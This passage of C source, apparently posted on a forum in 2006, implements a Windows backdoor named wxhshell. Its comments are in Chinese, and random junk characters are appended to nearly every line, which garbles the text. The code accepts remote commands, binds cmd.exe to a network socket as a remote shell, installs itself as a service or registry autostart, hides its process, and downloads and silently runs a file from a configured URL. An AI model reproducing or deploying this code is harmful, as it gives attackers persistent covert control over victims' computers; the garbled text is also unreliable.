  En%o7^W++  
  // 帮助 clV/i&]Qa  
  case '?': { %Q01EjRes  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4IpFT;`q  
    break; WWz ns[$f  
  } oMf h|B  
  // 安装 l$@lk?dc  
  case 'i': { 1a4$. {  
    if(Install()) !0_Y@>2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q&x#S_!  
    else "lAS <dq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WWs>@lCK  
    break; LB0=V0|  
    } 2)]*re)  
  // 卸载 ?NeB_<dLa`  
  case 'r': { {[#  
    if(Uninstall()) !7|9r$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BE;iC.rW  
    else ou4?`JF)-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dRC+|^ rSC  
    break; dg<fUQ  
    } $*> _0{<  
  // 显示 wxhshell 所在路径 KL{ uhb0f  
  case 'p': { &WS%sE{p_  
    char svExeFile[MAX_PATH]; lsf?R'1  
    strcpy(svExeFile,"\n\r"); eu/Sp3@v  
      strcat(svExeFile,ExeFile); s47"JKf"  
        send(wsh,svExeFile,strlen(svExeFile),0); ywBo9|%T  
    break; l^Z~^.{y  
    } J> |`  
  // 重启 (b5af_ c  
  case 'b': { 3_:k12%p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ue%5 :Sdr  
    if(Boot(REBOOT)) ]>j_ Y ,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -': tpJk  
    else { QJ'C?hn  
    closesocket(wsh); -hfY:W`Dz  
    ExitThread(0); NyNu1V$  
    } $x0F(|wxt  
    break; W;yZ$k#q}(  
    } ;B@l0)7(x  
  // 关机 @[lr F7`o  
  case 'd': { 1k(*o.6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <ZEll[0L  
    if(Boot(SHUTDOWN)) CdjGYS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~d]7 Cl  
    else { jeNEC&J  
    closesocket(wsh); .$;GVJ-:5  
    ExitThread(0); Dbd5d]]n3  
    } F*u;'K   
    break; c7 -j  
    } |&.)_+w  
  // 获取shell 4T-AWk  
  case 's': { B(U`Zd  
    CmdShell(wsh); /vKDlCH*  
    closesocket(wsh); sIe(;%[`  
    ExitThread(0); $Vh82Id^  
    break; kdq55zTc<6  
  } UNae&Zir  
  // 退出 2sH5<5G'  
  case 'x': { =<icHt6s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eA_4,"{  
    CloseIt(wsh);  73X]|fy  
    break; (Nf.a4O  
    } it@s(1EO#  
  // 离开 c{q`uI;O  
  case 'q': { W1z5|-T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A>k;o0r  
    closesocket(wsh); 1lM0pl6M  
    WSACleanup(); oB@C-(M  
    exit(1); h !1c(UR  
    break; * bK@A2`  
        } 1d6pQ9 N  
  } 9#7z jrB  
  } ~gD'up@$/  
V8/o@I{U[  
  // 提示信息 nEYJ?_55  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H?m2|.  
} z m%\L/BF  
  } t+tGN\q  
OZD/t(4?6s  
  return; y{<7OTA)  
} O1"!'Gk[!L  
K.SHY!U}  
// shell模块句柄 jEadVM9  
int CmdShell(SOCKET sock) ObUQB+  
{ i`X{pEKP+  
STARTUPINFO si; [iD!!{6+  
ZeroMemory(&si,sizeof(si)); jn'8F$GU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {iRNnh   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "Q( 8FF  
PROCESS_INFORMATION ProcessInfo; m,b<b91  
char cmdline[]="cmd"; ~[{| s' )  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9azPUf) C  
  return 0; J.*=7zmw  
} w~`P\i@  
x0] *'^aA  
// 自身启动模式 7pNh|#Uv'  
int StartFromService(void) h7{W-AtM7_  
{ G[mYx[BTz  
typedef struct -Y6JU  
{ ,yoT3_%P  
  DWORD ExitStatus; 1,E/So   
  DWORD PebBaseAddress; x8^Dhpr6  
  DWORD AffinityMask; B.o&%5dG  
  DWORD BasePriority; a)e2WgVB/E  
  ULONG UniqueProcessId; Z,z^[Jz  
  ULONG InheritedFromUniqueProcessId; ROS0Q9X  
}   PROCESS_BASIC_INFORMATION; B4?P"|  
K"D9.%7  
PROCNTQSIP NtQueryInformationProcess; >_o_&;=`v  
bF.Aj8ZQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qr*/}F6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '#fj)  
:MpCj<<[  
  HANDLE             hProcess; n1ICW 9  
  PROCESS_BASIC_INFORMATION pbi; @'QBrE  
anbr3L[!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZO,]h9?4  
  if(NULL == hInst ) return 0; _Cs.%R!r  
L\UYt\ks  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $I'ES#8P6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t?s1@}G^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); })":F  
c09uCito  
  if (!NtQueryInformationProcess) return 0; `7LdF,OdE  
C-(&zwj?!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j<c_*^/'9  
  if(!hProcess) return 0; T M+7>a$  
8L#sg^1V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D`ZYF)[}J  
sG3%~  
  CloseHandle(hProcess); {MHr]A}X\  
@M1U)JoQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f-Sb:O!V  
if(hProcess==NULL) return 0; FY'f{gD^  
7}Gy%SJ`  
HMODULE hMod; |Qm 7x[i  
char procName[255]; ;3w W)gL1  
unsigned long cbNeeded; yk=H@`~!  
/q=<OEC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i}!CY@sW  
)3;S;b  
  CloseHandle(hProcess); $V[ob   
76 y}1aa  
if(strstr(procName,"services")) return 1; // 以服务启动 UZyo:*yB  
P6MT[  
  return 0; // 注册表启动 =0Nd\  
} 'b-}KDP  
X0m\   
// 主模块 EfOJ%Xr[,l  
int StartWxhshell(LPSTR lpCmdLine) 1&dWt_\  
{ m^wYRA.  
  SOCKET wsl; `8L7pbS%,Q  
BOOL val=TRUE; rA9"CN  
  int port=0; |')Z;  
  struct sockaddr_in door; 3+)i23[4=\  
 z=!xN5  
  if(wscfg.ws_autoins) Install(); (*|hlD~  
k @[Bx>  
port=atoi(lpCmdLine); q|S }5  
=4?m>v,re  
if(port<=0) port=wscfg.ws_port; J<'4(}^|  
[g<JP~4]  
  WSADATA data; k'm!|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HxkhlNB  
sp JB6n(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;lP)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c(o8uWn  
  door.sin_family = AF_INET; oM< 9]jK}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IkD\YPL;  
  door.sin_port = htons(port); .7oz  
Mq$e5&/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BsxQW`>^y  
closesocket(wsl); f;QWlh"9  
return 1; `S%p D.g,2  
} f@Db._ E  
'E6)6N  
  if(listen(wsl,2) == INVALID_SOCKET) { 4B) prQ3  
closesocket(wsl); !.9NJ2'8  
return 1; L='GsjF0}  
} 0%v p'v  
  Wxhshell(wsl); &7;W=uF  
  WSACleanup(); w* v%S   
=E{1QA0  
return 0; QH+Oi&xH  
Pj^6.f+  
} 5=l Ava#  
[&e}@!8O`  
// 以NT服务方式启动 MwiT1sB~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #*5A]"k  
{ n:HF&j4C,  
DWORD   status = 0; gQ& FO~cr  
  DWORD   specificError = 0xfffffff; Tc{r}y[)  
}y'KS:Jb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @zE_fL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k kY*OA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A!SHt7ysJ  
  serviceStatus.dwWin32ExitCode     = 0; p=T]%k*^h#  
  serviceStatus.dwServiceSpecificExitCode = 0; [}.OlR3)  
  serviceStatus.dwCheckPoint       = 0; ]GRPxh  
  serviceStatus.dwWaitHint       = 0; QH;1*  
;|66AIwDe  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 68d(6?OgW  
  if (hServiceStatusHandle==0) return; \!`*F :7]-  
|NL$? %I  
status = GetLastError(); XBCz\f  
  if (status!=NO_ERROR) eQA89 :j,  
{ xCGvLvFn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k}~|jLu@g  
    serviceStatus.dwCheckPoint       = 0; f~9ADb  
    serviceStatus.dwWaitHint       = 0; @va6,^)  
    serviceStatus.dwWin32ExitCode     = status; Wo\NX05-?  
    serviceStatus.dwServiceSpecificExitCode = specificError; (C1]R41'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D[ny%9 :  
    return; 5ZUqCl(PX)  
  } #TRPq>XzD  
s<tdn[d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 't2"CPZ  
  serviceStatus.dwCheckPoint       = 0; klv ]+F&[  
  serviceStatus.dwWaitHint       = 0; !'MZeiLP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /=i^Bgh4  
} >$k_tC'"  
)~s(7 4`}  
// 处理NT服务事件,比如:启动、停止 os"o0?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Busxg?=  
{ }m(u o T~  
switch(fdwControl) &*r YY\I  
{ &?v^xAr?B  
case SERVICE_CONTROL_STOP: QXniWJJ  
  serviceStatus.dwWin32ExitCode = 0; [.;VCk)0x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EX=Q(}9F<  
  serviceStatus.dwCheckPoint   = 0; M{Wla 7  
  serviceStatus.dwWaitHint     = 0; nTyK Z(#u  
  { Ub%5# <k|-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?tSFM:9PU  
  } Sm{idky)[  
  return; }qRYXjS  
case SERVICE_CONTROL_PAUSE: bR(rZu5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H4MFTnJ{  
  break; N.l+9L0b  
case SERVICE_CONTROL_CONTINUE: 7&qunK'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KYZ/b8C  
  break; }PUQvIGZZ&  
case SERVICE_CONTROL_INTERROGATE: m6bAvy]3<t  
  break; =;4cDmZh  
}; ^g"G1,[%w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A7C+-N  
} T32C=7  
S)T~vK(n  
// 标准应用程序主函数 )\8l6Gw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c R*D)'/tl  
{ ~K5eO-  
ia?{]!7$  
// 获取操作系统版本 4 bw8^  
OsIsNt=GetOsVer(); !"Jne'f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ivmiz{Oii  
lQ {k  
  // 从命令行安装 oYG9i=lZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); <j+DY@*  
bx#GOK-  
  // 下载执行文件 !uLz%~F  
if(wscfg.ws_downexe) { %4*-BCP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~xer ZQgc  
  WinExec(wscfg.ws_filenam,SW_HIDE); [Abq("9p\  
} w^6rgCl  
m0DD|7}+  
if(!OsIsNt) { KmG*`Es  
// 如果时win9x,隐藏进程并且设置为注册表启动 W1dpKv  
HideProc(); ycz6-kEp  
StartWxhshell(lpCmdLine); d="Oge8  
} Dp3&@M"^yY  
else <lopk('7  
  if(StartFromService()) ~oWCTj-  
  // 以服务方式启动 }6*+>?  
  StartServiceCtrlDispatcher(DispatchTable); O/Ub{=g  
else G:7HL5u  
  // 普通方式启动 c07'mgsU  
  StartWxhshell(lpCmdLine); pnl7a$z  
Uus%1hC%a  
return 0; ?%-VSL>$w=  
}
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只看该作者 1 发表于: 2006-10-10
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